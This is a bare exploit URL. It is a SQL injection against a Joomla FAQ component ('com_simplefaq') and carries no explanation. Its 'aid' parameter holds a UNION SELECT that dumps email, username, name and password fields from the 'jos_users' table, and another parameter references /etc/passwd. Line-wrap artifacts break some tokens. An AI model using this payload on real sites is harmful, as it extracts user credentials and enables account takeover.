http://addr.ru/index.php?option=com_simplefaq&task=answer&Itemid= 9999&catid=/etc/passwd&aid=-2/**/union/**/select/**/0,concat_ws%280x3a,email,username,name,password,us ertype,block%29,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0+from+jos_users--